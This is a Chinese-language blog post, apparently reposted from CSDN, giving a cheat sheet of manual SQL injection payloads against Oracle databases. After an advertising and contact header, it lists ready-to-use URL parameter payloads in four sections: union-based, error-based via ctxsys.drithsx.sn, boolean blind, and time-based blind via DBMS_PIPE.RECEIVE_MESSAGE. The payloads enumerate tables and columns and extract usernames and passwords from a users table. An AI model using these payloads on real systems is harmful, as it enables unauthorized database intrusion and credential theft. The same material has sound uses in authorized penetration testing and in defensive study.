渗透测试——sql手工注入实战 @Oracle

忘是亡心i 2021-07-25 15:35 659阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]

--------------------

QQ 1274510382  
Wechat JNZ\_aming  
商业联盟 QQ群538250800  
技术搞事 QQ群599020441  
解决方案 QQ群152889761  
加入我们 QQ群649347320  
共享学习 QQ群674240731  
纪年科技aming  
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。

叮叮叮：产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司  
民生项目：商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/  
安全项目：态势感知防御系统/内网巡查系统  
云服项目：动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing  
产品咨询/服务售后（同）

## 纸上得来终觉浅,绝知此事要躬行 ！！！   寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式！! ##

--------------------

#### \#本文为广告系统自动投放广告 ####

#### \# 如有侵权 删改 请速速联系我们 ####

--------------------

### 0x01 联合注入 ###

?id=-1' union select user,null from dual--
    ?id=-1' union select version,null from v$instance--
    ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
    ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
    ?id=-1' union select username,passwd from users--
    ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

### 0x02 报错注入 ###

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

### 0x03 盲注 ###

布尔盲注

既然是盲注，那么肯定涉及到条件判断语句，  
Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。  
语法：  
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下：

IF 条件=值1 THEN
    　　　　RETURN(返回值1)
    ELSIF 条件=值2 THEN
    　　　　RETURN(返回值2)
    　　　　......
    ELSIF 条件=值n THEN
    　　　　RETURN(返回值n)
    ELSE
    　　　　RETURN(缺省值)
    END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
    ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
    ?id=1' and ascii(substr(user,1,1))> 64--  #二分法

时间盲注

可使用DBMS\_PIPE.RECEIVE\_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注，  
这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
    ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20191210193220676.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw,size_16,color_FFFFFF,t_70